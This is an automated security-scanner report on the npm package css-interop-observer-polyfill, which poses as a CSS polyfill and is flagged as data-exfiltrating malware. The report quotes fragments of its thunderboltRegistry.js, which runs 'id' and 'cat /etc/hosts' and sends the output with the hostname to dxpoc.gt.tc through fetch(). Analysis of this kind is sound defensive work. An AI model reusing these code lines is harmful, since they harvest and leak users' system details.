registry / Data exfiltration / css-interop-observer-polyfill

css-interop-observer-polyfill

Polyfill for CSS interop observer API

This report shows the evidence for css-interop-observer-polyfill@1.0.0, the only known version.

AI Security Review

scanned 19d ago · by lpm-firewall-ai

Direct source inspection establishes automatic reconnaissance and external transmission unrelated to a CSS polyfill. The empty main entrypoint does not neutralize the executable payload shipped and referenced as a registry asset.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Loading thunderboltRegistry.js in an environment providing the required Node.js capabilities and fetch.

Impact

Exposure of user identity, hostname, operating-system details, network configuration, and /etc/hosts contents.

Mechanism

An immediately invoked function executes shell commands, reads host information, and sends encoded results through HTTP requests.

Attack narrative

The package ships a registry implementation referenced by its registry manifest. Loading that implementation immediately collects system information through shell commands and sends it, together with the hostname, to a fixed external endpoint. The empty default entrypoint limits activation, but the registry payload actively exfiltrates data when loaded.

AI rationale

Evidence

thunderboltRegistry.jsregistry-manifest.min.json/etc/hosts

Network endpoints1

dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.
The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.
The HTTP sender includes the hostname and targets dxpoc.gt.tc.
registry-manifest.min.json maps registry assets to the executable registry file.

Evidence against

There are no installation lifecycle hooks, and index.js exports an empty object; ordinary main-entrypoint import does not activate the payload.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 3.69 KB of source, external domains: dxpoc.gt.tc

Source & flagged code

8 flagged

thunderboltRegistry.jsView file

10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

•matchType = normalized_sha256 matchedPackage = popover-anchor-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:cG9wb3Zlci1hbmNob3ItcG9seWZpbGw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = popover-anchor-polyfill@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:cG9wb3Zlci1hbmNob3ItcG9seWZpbGw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L25

14var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("c

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L14

45var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no

High

Ai Review Evidence

The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil =

High

Ai Review Evidence

The HTTP sender includes the hostname and targets dxpoc.gt.tc.

thunderboltRegistry.jsView on unpkg · L11

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

8 flagged · loading source

thunderboltRegistry.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

thunderboltRegistry.jsView on unpkg · L10

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

thunderboltRegistry.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

thunderboltRegistry.jsView on unpkg

25var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L25

14var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch(e) {} }; var cp = null; try { cp = require("c

High

Ai Review Evidence

Loading thunderboltRegistry.js immediately executes system reconnaissance commands and sends their output externally.

thunderboltRegistry.jsView on unpkg · L14

High

Ai Review Evidence

The registry file reads /etc/hosts and sends up to 2,000 characters of its contents.

thunderboltRegistry.jsView on unpkg · L45

11var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil =

High

Ai Review Evidence

The HTTP sender includes the hostname and targets dxpoc.gt.tc.

thunderboltRegistry.jsView on unpkg · L11

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-interop-observer-polyfill@1.0.0/thunderboltRegistry.js", "siteAssetsRegistry

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable registry file.

registry-manifest.min.jsonView on unpkg · L2

Findings

8 High1 Medium1 Low

HighSandbox Evasion Gated CapabilitythunderboltRegistry.js

HighKnown Malware Source SimilaritythunderboltRegistry.js

HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js

HighAi Review EvidencethunderboltRegistry.js

HighAi Review Evidenceregistry-manifest.min.json

MediumNetwork

LowUrl Strings

Affected versions and remediation

This report applies to css-interop-observer-polyfill@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing css-interop-observer-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-04 23:30:05.837Z (UTC).

Source advisory published: 2026-10-04 23:14:35.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 3, 2026, 1:15 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code